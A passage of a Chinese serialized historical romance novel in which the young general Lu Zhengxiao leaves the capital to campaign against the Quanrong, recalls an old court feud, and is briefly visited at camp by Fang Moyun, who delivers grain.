皇上当日还是皇子，太师是他的恩师，对他自然是肝脑涂地，太师的嫡子都是为保当时的太子，如今的圣上，挡住刺客之剑，献出了生命。曾令太师心如刀绞，而他长子唯一子嗣便是蕊儿。
故而，太师对蕊儿的疼爱无以复加，可蕊儿不知为何，从小便喜欢跟在正啸身后，叫他‘正啸哥哥’，正啸英雄年少，太师亦对他颇为赏识，曾想与卢家结为亲家。当初，老卢帅也口头应允了。
可最终此事传到了先皇的耳中，先皇得知此事后，话里话外点卢帅，卢家作为边疆元帅领兵在外，不应与京中的文臣领袖过于亲近。
老卢帅明白圣意之后，为了南境战事，最后不得不拒绝了太师的好意。而这件事不知为何，迅速在京城流传，影响了蕊儿的名声，太师心中勃然大怒，从此与卢家便断绝了所有往来。
然而，事情却往更坏的方向发展，蕊儿还小，并不知晓何谓拒婚，依然天真烂漫、开朗单纯。一日，她在街头偶遇正啸骑马而过，竟然下轿追赶，不知怎得追得失踪无影。
太师府急得几乎将京城翻了个底朝天，但始终无果。太师府都派人来问正啸，正啸却说自己未见过蕊儿，亦没有听到她喊自己。最终，几天后，蕊儿的尸首被发现悬于河中，衣衫褴褛，万分凄凉。此事震惊了京城，圣上都震怒，命令京兆尹彻查此事。
最终查明，蕊儿是被峑戎的刺客所害，可是只有办案之人和他们几家知道，这些杀手本来是来刺杀卢正啸的，却不料将蕊儿卷入了这场血腥阴谋之中。
自此，太师府与卢家便好似有了死敌般的仇怨。而随着圣上登基，朝堂中的权力争斗愈发激烈，不论是政见还是边关战事，两家的意见几乎总是相左。
正啸和若辰深知，太师家与卢家这段恩怨，早已深刻地融入了朝堂历史，无法轻易化解。
皇上叹息一声，语气中透出几分怅然：“如今太师年事已高，许多政见和谋略都愈加持重保守。虽然他的一众门生也时常与你意见相左，但啸儿，你性子急，这也是对你的一种磨砺。”
正啸默然，心知皇上的话语之意，大战在即，朝堂之势自然是向卢家倾斜，但圣上希望自己不要以此清缴太师，在朝堂上与太师争斗得太甚。
最终他深吸一口气，回应道：“圣上，如今开战在即，正啸心中只有南境战事。只要不扰乱战局，此战能胜，南境能平，我其余都不在意。”
皇上听后，终于点点头，脸上露出一丝欣慰之意，他知道正啸的性子，素来言出必行，然后，皇上又微微挑眉，目光锐利地看向正啸：“其余什么都不在意吗？方茉云呢？”
正啸瞬间愣住望向皇上，若辰也转头看去，皇上素来洞察一切，他其实定然早已看穿了正啸的心事，知道茉云在他心中的位置。
皇上笑笑语重心长地说道：“既然是你信赖之人，就让她在后方为你押送粮草吧。”
正啸理解皇上的用意，皇上希望他一心投入此战，心无旁骛。这场战争关系到国运与民生，若胜，便入诏书所言，江山永固，天下太平，可若败，社稷不安，生灵涂炭，朝廷之威严也荡然无存。
正啸微微蹙眉，最终应道：“是！”
圣上望向正啸，亦温和地笑了：“此战若凯旋而归，你想如何，朕都应你。但是，大战之时，你可要跟朕好好保重自己。”
正啸轻轻点了点头，然后行礼，与若辰一道离开御书房。走出皇宫，正是夕阳西下之时，正啸一路沉默，心中似乎被思绪压得喘不过气来。
自己幼时，什么话都能跟姑父直言。姑姑让他练功，他跑了出去玩，回到被姑姑责罚，他竟敢当面反抗，说自己终日就是练功，别人家的孩子都可以去戏班看戏。姑父便会出来跟自己说情，第二日，姑父还会特地带他去戏班，看完戏后，路上问他：“戏好看否？”
正啸一脸无奈地说道：“咿咿呀呀的，不知所云，还不如回去练功。”
那时，姑父笑得前俯后仰，跟他说，以后有什么事你跟姑父直说，你姑姑性子直，惹怒了她，咱两都没好日子过，他记得单日亦是这么一个寻常的黄昏。
然而，随着岁月的流逝，姑父成为了太子，然后登基成了权力至上的皇帝，他亦经历了无数的人世蹉跎，姑姑亦走了……
正啸知道，虽然皇上对他期许有加，但皇上早已变得深不可测，朝堂上的权力角逐、各方利益相互制衡，才是人君最关心之事，对谁都是恩威并施。
但皇上治国理政，对自己已经是极其宽待，任自己如何莽撞执拗，他也不过是稍作惩戒，而皇上对他的恩师——太师，亦是如此。
即便太师与自己的门人勾结，暗中处心积虑对付卢家，做尽了丧尽天良之事，正啸心知肚明，可在这场权力的斗争中，他只能咬牙坚持，吞下所有的苦涩与屈辱……他压根不可能跟姑父直说。
正啸抬目望向日落西山万物沉寂，深深吸一口气，所以自己自小便憎恶京城，阴谋诡诈、权力交锋、世间险恶和人心叵测……此处好像便是积聚所有深渊的漩涡。
他一路沉默，当他走过那条河时，目光不自觉地落向了水面——正是当年蕊儿浮尸之地。他深深吸了口气，皇上今日恰好提及此事，顿时心中泛起一丝悔意。
若他当时听见了蕊儿的呼唤，或许自己并未匆匆骑马驰骋而过，那条原本鲜活而单纯的生命，或许就不会如此仓促地消逝在人世。
若辰和他骑马并肩走着，自然也察觉到正啸的目光，不禁深吸一口气，他也知道正啸从那时起，便再也不曾在京城的街头纵马奔驰，再加上卢老太君的训诫，他亦再也不轻易与京中任何达官贵人家的女孩说话了。
“都这么久了，连先皇也曾说过，此事非你之过，何必再深深自责？”若辰轻轻的宽慰道。
正啸慢慢收回了目光，依旧沉默，没有说只字片言。
若辰见状，稍微一笑道：“你倒不如好好想想眼前的事，茉云可不太可能愿做个压粮官。”
正啸眼中瞬间闪过一丝愁绪，他回京之前还跟茉云许诺，让她回营与自己并肩作战，她定然日夜都想着，要完成她义父崔老将军驱逐峑戎平定南境的夙愿，然而如今……
若辰骑在马上，看向正啸的眼神，畅然笑了：“卢正啸，昔日你连杀伐都如此果断，居然也有今日，真应了那首诗……这次第，怎一个愁字了得？”
正啸不由得忿然收回目光，懒得搭理若辰。可再冷漠的眼神，都无法难掩内心的无奈。
这些日子，元帅已归营，正啸却仍留在京城，忙于和兵部确认初步的征战方略和军资调配方案。大战临近，京城与战备有关之各处要职，自然成了各方势力争夺的焦点。若辰也不得不在其中左右权衡，他深知，正啸那刚直不阿的性子，此时也不得不面对朝局，权衡利弊。
黄昏将至，正啸与若辰才从兵部
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出来，正啸锁紧了双眉，忍不住松了松脖项的衣襟。处理这些事务，对于他来说，比带兵上阵要痛苦百倍。
他心中亦明了，皇上允了自己向峑戎宣战，天下皆知卢家和自己得圣上信赖托付，风光无限。故而朝堂之上，很多事皇上仍要顾及太师的颜面，以维持圣上需要的朝局平衡。而日后，这些人必定会卯足劲掣肘自己。
当正啸和若辰走在回府的路上，正啸还在沉思，忽然听见前方传来一道欢快的叫喊声：“师兄！”
他抬头一看，居然是卓思淼——他是正啸京城的师傅卓神捕的儿子。现在正在中州任司马。
思淼见正啸和若辰，旋即快步上前说道：“师兄，若辰哥，思淼刚回京探望父母，不知师兄和若辰哥是否得闲，今晚家里小聚，正好爹也出外办差回来，娘做了几个好菜。”
“好。”正啸不假思索的笑着应了，自己回京也有快十日了，诸事繁忙，还未去见师傅和师娘的。
若辰也笑着拱手，说道：“那就恭敬不如从命。”
于是，他们便沿途备了礼物，一同去了卓家。当正啸踏入那简单古朴的卓家小院时，他就感到一种难得的轻松与舒适，与少时一样……
师娘听到思淼说他们来了，手中的擀面杖都来不及放下，便冲出了厨房，大步走上前，将在门口迎接正啸的卓神捕都撞得踉跄了一下。卓神捕一脸无奈地看向自己夫人，众人顿时忍俊不禁。
师娘却压根没看他们师傅一眼，看向正啸畅然一笑，笑容中满是欢喜：“嗯，我的啸儿还是这般精神，若辰也不错。”
正啸和若辰立刻恭敬地行礼，师娘挥手示意道：“不用这些虚礼，快坐，陪你师傅喝茶，师娘这就为你们去准备好吃的。”
这一刻，正啸心中涌起一股温暖与宁静，仿佛所有纷扰和压力都能在这小院中放下片刻。
众人陪卓神捕坐下喝茶，若辰端起茶杯，喝了一口，愣了一下——竟然是酒。卓神捕瞥了他一眼，随即无奈地看了一眼厨房，若辰心领神会的笑了，定然是师娘不让卓神捕喝酒。正啸则依旧面无表情，安静地喝着。
若辰望向思淼旋开门见山的问道：“茉云在中州可好？听到押运粮草的军令作何感想？”
思淼乐了，想着说道：“旨意到之时，宋大人一夜没睡好，翌日，茉云从营地来府衙接旨，她就风轻云淡说了个好字。”
正啸的目光不自觉地望向思淼，若辰也挑眉望向思淼，茉云能如此平淡？
思淼继续笑着说道：“饭后，众人陪宋大人夫妇打马吊人，宋大人忍不住问她，不让你去前方，你居然不恼火？如此平静？茉云叹了口气说，烂牌摸多了，习惯了，慢慢打吧……，宋大人当即感动的说，方茉云居然也有懂事的一日。而我茉云姐顿时没好气地说道，我话没说完，烂人碰多了，也习惯了，但还是很想打他！”
顿时众人哄堂大笑，正啸神情中竟闪过一丝难得的笑意。卓神捕端起杯，喝了一口，意味深长地看向正啸，却最终什么也没说。
正啸放下白日的重担，陪着师傅和师娘吃饭，师娘便像小时候一样，不停地往正啸的碗里夹菜，若辰和千山、万莫也没有逃过她的热情。
卓神捕忍无可忍，无奈地说道：“人不是方茉云，如何吃得了这么多？”
师娘没好气地瞪向卓神捕说道：“我还不就是知道我茉云吃得多，啥都让那丫头吃了，他们没得吃，这儿让他们多吃点，你哪儿那么多废话，小心我等下把你那茶壶给砸了。”
卓神捕旋即不敢言语了，一脸谨小慎微的神情，顿时众人哄堂大笑，气氛愈发愉快温馨。
大家谈笑风生地用过晚膳，正啸和若辰行礼告辞，走出门外，还听见院内传来了师娘数落卓神捕的话：“老娘是看你办案回来心情不好，但你别得寸进尺啊，喝完这壶你再喝试试！”
思淼等人情不自禁地忍着笑，正啸却深吸一口气，望向小巷里的卓家小院。好似是京城中的世外桃源一般，只要踏入院门，便是三口之家坦诚以待，夫妻相濡以沫。无论院外如何尔虞我诈，院内始终温馨如初。
正啸飞身上马之时，思淼忽然走近说道：“师兄，我本来问茉云姐有什么话带给您，她一脸不屑一顾。但临走时，她忽然跟我说，回去问问你师兄，执念太多，何以行万里？意料之事，何须再介怀？若多愁善感方能统帅三军，何不让关若辰去？”
正啸微微愣了一瞬，望向思淼。若辰却忍不住笑了出来，摇头道：“我才当真是遇人不淑，你们都是些什么人啊？”
众人顿时又忍俊不禁，正啸一路骑马回家，眼中终于透出了温和与释然。
若辰亦发觉了，轻轻地笑了，世人皆以为正啸如今定是意气风发之时，但又有几人知道他此时行事之困苦，心中之煎熬。方茉云远在千里之外，她又是如何知晓的？
难道真的是有情人——遥以心照，无远弗届。
273.遥望
京中征讨事宜商议妥当之后，正啸便前往皇宫请旨回南营了。
皇上坐在龙椅之上，眼中流露出一丝欣慰，亦不失威仪地缓缓说道：“啸儿着实成长了，动心忍性，方能成大事。此去，关乎社稷之大任便托付于汝。啸儿，万事保重，待你凯旋，朕必率九州万民，迎你载誉而归，赐你冠世荣光，彰你留名青史。”
正啸默默低头谢恩，神情依旧平静，随后恭敬行礼告退，不愿再让任何情绪从脸上显现出来。自己励精图治一生从未有一刻是为了盖世荣誉和留名青史……转身之时，她的话好似就在耳边——既是意料之中，何须介怀。
离开皇宫时，正啸头都没有回，一路疾驰，直到他抵达南营。
进入南营，禀报了元帅之后，并立即召集诸将入主营商讨战事，直到入夜，军帐依旧内灯火通明，空气中弥漫着一股肃杀之气，正啸未显半分疲态，目光如铁，专注于战事局势的讨论。
直到深夜之时，行军方略布置完毕，将军们各自领命，纷纷退去，心中皆是热血沸腾。
就在此时，众人还刚刚出营帐门口，却传来元帅的声音，分明就是责问的口气：“我问你，皇上让茉云这样的人才负责后方押运粮草，你为何不据理力争？”
正啸此时目光才从行军图上移开，望向元帅眉头微皱，眼中透出了无奈，他没有回答，只能心中无语叹息……我能如何力争，跟圣上说我心系于方茉云，想留她在身边？
元帅显然不明了正啸心中无奈，不肯放过他，继续不满地追问：“既然如此，回南营时为何不去中州一趟？”
正啸深吸一口气，声音依旧平静的说道：“为何去中州？不顺路。”
“不开窍，你这不开窍的！”元帅看着正啸那反应，气得差点没将牙都咬断。
东山和执礼相视一眼，皆忍不住微微扬起嘴角，脸上在极力保持着严肃，但眼神中不禁闪过笑意。
“父帅，您早点休息，此刻儿就想着……将所有心思都放在此战上。”正啸说完便转身离开了元帅营帐。
回到自己营帐，正啸脱下湿透的战甲，抬头望向那片辽阔的夜空，微弱的星光洒在他坚毅的面庞上。此刻，他独自站在营帐的角落，望向那片深邃的夜空，他好似习惯了，深夜四下无人之处，便可以放任思绪去想起……
因为他知道自己没有资格让这些纷繁的思绪占据自己，只能在此刻，想到她。正啸轻轻闭了闭眼，感受着心底的柔情和无法言喻的牵挂。
三日后，大军便开拔出发，队伍如潮水般浩浩荡荡地朝着西南进军。这些年以来峑戎在关外灭了不少部落和小国，疆域已经往东扩张了许多，形成了狭长的国土。
正啸统帅着大军，按照拟定的方略，将大军往西南推进直至一鸣峡，这个山涧峡谷是根据威行和王强多次探路所上报之情况，正啸最终确定的大营驻点。
因为此处往前便是峑戎、以及和峑戎交好，或者说是迫于峑戎之威的部落、盟国疆域，正啸这一举措既是为了威慑关内外的各方势力，更为稳固确保后方供给之路。
卢家军白日行军，夜里扎寨，烛光摇曳之时，正啸身穿盔甲的身影还在大营中穿梭，巡视四周，视察军情，他的身影就是军中将士最安稳的信仰。
深夜之时，正啸亦还在营中看着行军图，他深知，峑戎疆域如今已呈狭长之地，稳扎稳打是唯一的战胜之道。孤军深入、贸然挺进的后果皆是不堪设想。大战之时，不能让任何一个疏漏或小小的失误影响全局。
大军一路往西南挺进，正啸率先锋营在队伍最前端，这些日子以来，他都未曾回望一眼，目光始终坚定的望向前方。全军紧张而有序地跟随他前行，漫天的尘土在阳光下弥漫，飞扬，无惧任何戈壁，荒凉和旷野。
然而，直到某个清晨，开拔之前，正啸忽然抬头，望向群山的方向，眼神深邃，似乎在透过这片辽阔的天地，远远地凝望着什么……
片刻之后，他才威武而毅然地下令：“全营，继续前进。”
全军随即整列出发，迅速启动。正啸的目光缓缓移开群山的方向，目光中蕴含着几许复杂的情绪。
执礼跟在正啸身边，自然也是察觉到了这一丝异样，他轻轻吸了口气，那片群山的远方，正是中州。
可是，他们并不知道，远远的群山之巅，此刻亦有一个身影也默默凝视着他们。
茉云此时正站在群山之顶，清晨的雾本笼罩云峰，所幸在这一刻，山风轻拂而过，带走了白茫的霭霭雾气，她欣喜的看见了那支远行的队伍……
虽然距离万丈之遥，而且队伍渐行渐远，根本看不清任何人的身影，但她知道，他一定就在队伍最前方。风拂过她的发丝，她没有发出任何声音，只是默默地目送那支壮志雄雄的队伍继续向前，直到它消失在视线的尽头。
卢家军一路威武前行，雄壮的军阵在初夏的日光中闪烁着冷冽的光辉。各方盟友与盟国沿途为他们高歌欢迎。
直到卢家军抵达一鸣峡时，军营扎下了重重防线，四周静谧如寂。正啸站在营前，目光深邃地扫视着前方，他已能感受到敌人的气息。
敌军定然也是严阵以待，这片寂静背后——定隐藏着千钧一发的局势。而正啸心中早已做好了万全准备，以必胜之决心，迎接接下来至关重要的首战。
大营驻扎好，这日是军粮要送到的日子，谁知竟是思淼押运粮草而来。看到他，众人都埋怨茉云还是这般没有良心，而正啸亦不在营中，去勘探周边地形了。
元帅看着运粮队，长长叹了口气，目光中透着些许无奈，望向东山说道：“你看他两，真是落花与流水皆无情。”
东山只是浅浅一笑，未多言，威行和小马他们却按耐不住，显然对茉云未曾前来而心生不满。
思淼听见了他们的抱怨，轻声一笑回应道：“茉云姐也说了，她说你们磨磨唧唧大半月，连一场胜仗都没打，她怕来了奚落你们，等你们赢了三场再说。”
周总教头顿时忍不住，忿然瞪着思淼，说道：“她懂什么！她以为这还是当年，她街上带人打群架，吼一嗓子，操起棍子就上啊！”
思淼则被逗笑了：“周总教头，莫说当年，如今茉云姐在中州，她吼一嗓子，人都吓跪了，哪还要拿棍子啊！前几日我师兄鹏飞来了，气鼓气涨，我师兄说哪怕弃官不做，也要来追随元帅和少帅做个兵也好，结果跟我师姐聊了一通，鹏飞哭得稀里哗啦的回去了，再也不说来前线了。”
顿时众人哄堂大笑，元帅都乐了，鹏飞那小子几乎是每十日都写一封信来，
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要入前线，正啸就是不允，难怪……这些日子没收到信了。
直到夜里，正啸才和沧海将军视察完，回到营地，在伙营用膳之时，恰好听见了威行提到的茉云之言。
他顿时表情微微一变。翌日清晨，一道军令如同一道闪电划破军营寂静，迅速传遍全营，正啸下令一月之内，必须向西拿下三地，战士们纷纷振奋，士气骤升。
执礼眼中却闪过一丝无语，茉云的话显然激起了少主心中的火焰，但执礼心中也明了，首战对军心和朝堂都何其重要，正啸亦是想不等敌人准备万全，发动奇袭，一鼓作气，拿下首战之胜！
果不其然，正啸带领卢家军一路扫荡西行，威武雄壮，所向披靡，犹如风卷残云。短短不到一月时间，连续拿下三地，最终抵达胡城。军队将失地重新归还给曾经的盟友和部落。在胡城外西边驻扎，打算修整几日，待新的粮草补给到营，便会继续像西挺进。
这日清晨，正啸正在营中案几旁，正襟危坐，神色严峻地疾笔书写着汇报战事的奏折。
执礼前来汇报军务，走进营帐时，却愣了半刻，这些日子来，无论酷暑还是烈日，正啸好似在人前，已一月都未曾脱下战甲了，甚至有时晚上他都是穿着战甲随意躺着休息一两个时辰。
可是今天，他竟然只穿了一件玄色直领云锦纹饰长衣，执礼心头微微一动，难道少主的热毒又犯了？
正当执礼愣神之际，营门外忽然传来了喧哗声，众人下意识地抬头。只见雄山大声喊道：“军粮已到，速速放行！快去禀报元帅和少帅！”
紧接着，威行也带着一股兴奋的劲儿，边跑边喊道：“瞧瞧，这位威武的送粮将军是谁啊？”
顿时，整个军营都热闹了起来，士兵们纷纷回头，瞬间露出笑意。这时，帐外传来一个大家熟悉得不能再熟悉的声音——是茉云笑着说道：“怎的？威行将军要请小的喝酒？”
帐外众人哄堂大笑，这速来就是茉云的开场话语，威行则笑着回道：“这荒山野岭的，你以为我在游山玩水啊？还喝酒，等下少帅知道了不剁了我！”
随之便又传来众人一阵哄笑，此时营内都弥漫着久违的喜气与活力，众人都热情的跟茉云打招呼，茉云也素来没架子和众人都开心的聊着。
执礼轻轻走出了营帐，往营门走去，望向茉云故意大声说道：“方将军，怎得直到最后一日才到，军粮一路运送可还顺利？”
茉云旋即望向执礼解释道：“这些日子南境夏雨频繁，耽误了些许时日，所幸还是赶到了。”
执礼听后微微点点头，指着正啸的营帐说道：“方将军，您还是自己去少帅营帐里汇报详情吧。”
话音未落，沧海立刻退到一旁，亦挡开了众人，为茉云让开了道。
茉云则轻松地往正啸的营帐跑去，来到营帐前便看见了守在门口的万莫，她旋即解开腰间挂着的零食小兜，开心地将丢了过去。
万莫瞬间接住，脸上马上闪现出憨笑，随即低头打开便开心的吃了起来，千山则无语的望向茉云，恭敬地说道：“少主在里面。”
茉云点点头，抬手掀开营帐的门帘，闯入帐内，刚站定便愣了半刻。
正啸就立在门帘后，茉云直直撞入他的视线，抬眸之时，四目相触……
274.愉悦
他近在咫尺，俯身凝视着自己，茉云只觉在这静谧而悠长的对望中……
仿佛周遭都变得模糊，唯有他，屹立在前，穿着一袭玄色直领长衣，带着与生俱来地英气和冷峻，仿佛一座巍峨的山岳，唯独眼神在交汇的瞬间，他的锋芒顷刻消散，只剩温柔，如同深邃夜空里的星辰，透出了沉淀已久的柔情。
这一瞬，茉云动了动唇，却发不出一言，只剩心跳在悸动，她直直望向正啸，一直到……她意识到自己好像看得太久，有些失态，想强行躲开目光而扭过头。
正啸忽然抬手，猛然一把将她紧紧拥入胸膛，抱个满怀。茉云想挣扎亦是无用，他总是是如此的暴动而温柔，炽热从他的身躯透过衣襟卷席而来。这一刻所有的战火、硝烟都消失不见，内心的千言万语亦完全被淹没，好似整个人间只剩下这个拥抱。
就在所有都静止的这一刹那，营帐外却忽然传来了卢帅的声音说道：“茉云呢，在正啸营帐？不过就是最后一日到，有什么好训话的！”
旋即又传来了千山大声的喊道：“千山见过元帅。”
元帅被他嚷得一惊，看向千山，只得无语地拍拍他的肩膀说道：“嗯，大早上，精气神不错！”
东山和执礼跟在元帅身后，两人相视一眼，都拼命憋着不敢笑出声。元帅抬手就掀开门帘，发现两人就站在门帘后。
执礼抬目望向沉默且故意疏离的站在那儿的两人，嘴角顷刻闪出一丝更加明显地笑意，任谁都能感受到这空气中弥漫的暧昧和欢喜。
唯独粗线条的元帅不明就里的问道：“怎得都站在门口。”
茉云顷刻笑了，抱拳单腿跪下行礼说道：“末将参见元帅！”
“快起来，随老夫来我营帐！”元帅一边招手，一边开怀大笑，转身之时，元帅侧头瞪着正啸数落道：“啸儿你也是，知道最近南境夏日多雨，本帅都下令可宽限七日，茉云还按时到了，怎得如此无礼苛刻下属？”
正啸眼中顿时闪过一丝无语，茉云却不失时机地接过元帅之言：“元帅说得是，卢正啸，你怎得如此无礼对待自己下属！”
说完，她脸上带着一抹俏丽，挑眉望向正啸，他方才不分明就像个无礼暴君一般。
顿时两人眼神对峙，挑衅与克制瞬间交锋，正啸的眼中闪过一丝警告，好似在说，这一刻自己若是未忍住，她兴许就走不了了。
茉云顷刻感受到了威胁，旋即转身看向元帅说道：“元帅，您那可有啥吃的，我还没用早膳呢！”
“都快吃午膳了，让伙营今日中午做几个好菜！”元帅看向东山笑着吩咐道。
茉云开心的点着头，跟着元帅马上溜了，走出营帐之时，她眼神闪过一丝带着笑意的愠怒……哪怕思念交织，情意翻涌，他两皆是说不出半句甜言之人，但这家伙可好，每次干脆直接上手，如此用力，好似要将自己抱碎了一般。
正啸的神情没有了之前的威严或是温和，反而是一脸他见茉云时，那种熟悉的，略带无语的样子。
执礼和东山又相视一眼，脸上都浮现出笑意，如此明显，元帅真是征战沙场半生之人，风沙迷了眼，这都看不出。
午膳时，元帅原本打算让伙营为茉云特别准备些菜肴，茉云却说挺喜欢伙营师傅做大锅菜，只是多装点就行。于是，元帅便命令正啸和其他将领一起到他的营帐用餐。
等候之时，茉云已经饿得不行。元帅一见，便笑着示意她先吃，茉云开心地拿起筷子，准备大快朵颐。
威行不由得低声凑近说道：“你能不能在元帅和少帅面前，也注意点礼节？”
雄山也无奈地劝道：“你看看其他人可曾动筷？”
茉云顿时抬起头，看着众人叹了口气，咬着筷子准备等大家到齐后，再动筷子。
此时，正啸步入营帐，坐到了长桌旁元帅身侧，正是茉云对面的位置。茉云眼神不由自主地随之转移，嘴里咬着筷子看向他，不禁有些埋怨，自己肚子饿了，他却姗姗来迟。
正啸则看着她，轻轻笑着说道：“如今，连筷子都吃了？”
顿时众人哄堂大笑，周总教头看向茉云，也笑着数落道：“方茉云，瞧你那不成器，饱食终日的样子，何时能识得大体，给人留点好印象。”
茉云瞬间瞪向他们众人，愤愤不平地说道：“对，我在你们这儿能有何好印象，都是你等为我传播的，不出去调粮我还不知，官场上传我暴虎冯河，小肚鸡肠，虎背熊腰，蠢笨入猪，当然也有反驳者，他们说猪、鸡皆是生灵，何以如此羞辱？”
一番吵闹引得众人哄堂大笑，连元帅也笑得不行说道：“以后别出去胡说八道，谁这么说我家茉云，老夫绝饶不了他！”
气氛顿时变得轻松愉快，战时紧绷的情绪，在此刻一扫而空。但战事紧急，众人边吃边向元帅汇报军务，因为正啸之前已明确说过，军粮一入营，翌日一早便开拔。大家边吃边议，既不耽误用餐，也能留出下午的整军时间。
茉云本大快朵颐的吃着，然而看到眼前的将军们众志成城、斗志昂扬的样子，不禁停下了筷子，目光转向他们。她的心中充满了羡慕——他们能够并肩作战，保家卫国，亲力完成先辈们未尽的夙愿。
正啸亦察觉到茉云眼中的那一抹落寞，心中微微一怔。她知道她心中万分期望能去实现——她义父崔老将军毕生未完成的心愿，驱逐峑戎，平定南境。
午膳后，诸将各自去履行职务。茉云则与卢帅和魏副帅聊了半个时辰，她看得出，自从崔老将军离世后，魏副帅似乎苍老了不少。
谈笑中，茉云跟他们模仿起宋大人害怕被夫人责骂，躲在窗下的模样，宋大人亦是元帅和魏副帅年轻时便相识的老友，那狼狈之状，瞬间逗得他们笑得前俯后仰。
直到时间不早，茉云准备离营，赶路回中州，正啸则走了出来，目光温和地望着她，说道：“军中各司其职，每个环节都至关重要。”
茉云愣了半刻，转头望向正啸，他定然是看出了自己内心失落，茉云轻轻笑了，调侃着说道：“你要是早能看透我就好，你就知当年在中州，你扣我饷银之时，我有多痛心。”
正啸直视着她的眼睛，没有半分转圜地回应道：“不然我为何扣。”
站在一旁的执礼顿感无语，深深吸了一口气，一脸恨铁不成钢的神情望向正啸。
茉云亦是瞬间无语，忿然瞪向正啸，可是，当她看到正啸眼中的坦诚和柔和时，心中反而又被逗乐了：“好吧，我也意识到了，我若在军中前线，也许亦不是什么好事，打战还是你比较在行。”
众人望向她，眼中闪过一丝狐疑。茉云绝不是那种轻易肯定别人，否定自己之人。
茉云想着继续说道：“当日我在益城城楼上，看见你不顾一切地带着骑射营和将士们冒着箭雨火海冲向城门。那一刻，我心想，大将军竟然如此英勇无畏，有他在平定南境指日可待。”
众人更是诧异地看向茉云，她居然如此直接地夸奖正啸？正啸亦微微挑眉望向茉云。
茉云则随即轻轻笑了，叹了口气说道：“但是后来我才知晓，大将军冲进去，居然是为了救一个众人口中虎背熊腰，蠢笨如猪的女子，哎，我当时心都凉了半截。”
正啸瞬间被她逗笑了，眼中透出一丝柔情，执礼也忍不住差点笑出声来，他少主当日一时失控冲进去就是为了救茉云的。由于执礼和千山笑声太大，正啸旋即转头，瞪了他们一眼，执礼和千山他们立即装作若无其事的转身要离开。
茉云则笑了看向他们继续说道：“诶，都别走，我正有话要问你们？”
执礼旋即一脸恭敬地说道：“您说！”
“你们谁跟卢依妮说，她那破剑法练得不错，可来与我一战的？”茉云想着没好气的又望向正啸说道，“我看你女儿那胸有成竹的模样，我差点信以为真，一脚把她踢下山！是千山说的吧？”
千山旋即无语的小声说道：“元帅说的……”
“依妮还小！”正啸望向茉云眼中透出无语的说道，“父帅亦是想鼓励她。”
“鼓励什么？”茉云没好气的说道，“你家姑娘需要的是清
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醒，她能赢，是众人都让着她，她还觉得自己武功登峰造极，得你和我之传承。我已跟她说了，她再敢如此说，我就让不言将她毒哑，就她那破身手，连条狗都打不跑，还得我传承？我是她这般大小之时，狗看见我都跑！”
正啸顷刻又被茉云逗笑了，执礼笑着跟在他两的身后，望向两人的背影，他之前都未曾想象过，少主能有如此柔和的眼神，还能跟一个女子如此谈笑风生……
两人一路走到营门，茉云要离开了，元帅亦走出营送她，正啸则抬目望向她，茉云发现了马上平移一步，离得跟正啸远点，无语的眼神扫过他，好似在说，这么多人呢？你爹也在，你还想干嘛？
正啸亦眼中闪过一丝无语，就在此时，探营队长王强刚探查完周边情形，风尘仆仆的回营了，见到元帅和正啸便立刻下马行礼。
元帅和正啸都微微点头，王强站起身便看见了茉云，脸上瞬间露出几分欣喜。
茉云看向王强风尘仆仆的样子，这小子眼中以透出了沉稳与老练，已不再是刚入军时的稚嫩，脸上还带着些许风霜。
“不错，终于有点探营队长的样子了。”茉云说完，瞬间神情中又带着一丝严肃，语气亦不再那么轻松：“除了营外的敌情，营内也不要掉以轻心，若有不利之人，切莫姑息。”
诸将听闻立刻安静了下来，众人皆知裴桥之祸便是由城内的细作引发的，那个教训如此深刻……
王强却嘴角轻扬，眯起眼睛，笑着说道：“营中倒是有对少帅不怎么好之人？”
威行顿时变得警觉，眉头一挑：“谁啊？”
王强抬手便指着茉云，笑着说：“此人就对军中统帅极为不敬。”
“我？”茉云嗤之以鼻的白了王强一眼，众人旋即又乐了，望向他两。
王强顿时咧开嘴笑了，眼中闪烁着一丝挑衅的意味，突然大声喊道：“啸儿！啸儿！啸儿！”
他故意加重了“啸儿”两个字的语气，在喊出这两个字时，周围所有人都愣住了，面面相觑，这个称呼向来是卢家军中长辈对正啸的称呼，卢老太君和卢帅就是这么唤他的，王强怎么敢直呼？
威行猛地面色一沉，快速走向王强，伸手一把拉住他，警告道：“你活腻歪了！”
王强见威行的反应并无丝毫慌乱，反而是笑得更加放肆的看向茉云。
此时，茉云的马突然跑了过来，停在了王强身前，马蹄轻轻的触着地面。
茉云瞬间捂住嘴唇，忽然间翻身上马，动作干脆利落，抱拳说道：“时辰已不早了，没时间玩笑了，诸位保重，后会有期。”
她话音未落，双腿一夹马腹，马儿立刻疾驰而出，像一阵风，没有丝毫迟疑……
王强缓过神，旋即指着突然大喊道：“方茉云，你别跑啊，你们看见没有？只要一叫啸儿，她马儿就会过来！她将此马取名为啸儿，然后日日骑着！”
茉云听见后，不禁又回过头，嘴角带着一抹调皮的笑容，喊道：“我又没说是他那个啸，真是好笑啦！”
话音刚落，她已拉紧缰绳，马儿飞速奔走，眨眼间就消失在营地视野中。周围的将领们顿时哄堂大笑，连元帅也忍不住笑了起来。
正啸则懒理众人转身，眼神透出无奈却又带着一丝宠溺。执礼和东山又对视一眼，彼此都忍不住笑着摇摇头。
茉云一来，营中原本地沉闷和疲惫瞬间消散了些许，但随着营帐中的笑声渐渐平息，众人开始各自忙碌，整装待发。
正啸往自己营帐走，目光不自觉地望向双手，指尖似乎还留着刚刚触及到的温度。那一刻，温暖从指尖蔓延开，连日的杀伐和喧嚣安稳了下来，她的出现，心瞬间愉悦，这些都是自己从未曾尝过的感受……
他微微抬头不禁又望向远方，傍晚的风带着风沙，吹遍营地，战局瞬息万变，不允许他放松一分一毫。
正啸最终又握紧了双拳，双眼恢复了深邃和冷峻，温暖和愉悦已抚平了自己心中浮躁，战局如火如荼，所有的目光都望向自己，这一刻，心归原位，蓄势待发。
275.入眼
正啸率领的大军如同雷霆般向西南挺进，风驰电掣，所向披靡，穿越山川河流，跨越荒原戈壁，他的每一个决策都精准无误，风卷残云般再次收复了三地，也让关外民众皆看到了希望。对于卢家军，民众早已口口相传，纷纷歌功颂德，期盼于卢家军带来安宁与未来。
然而，正啸并未有半分自满，每一场胜利之后，他都迅速带领队伍继续前行，他知道，战斗才刚刚开始，真正的考验还在前方等待着……
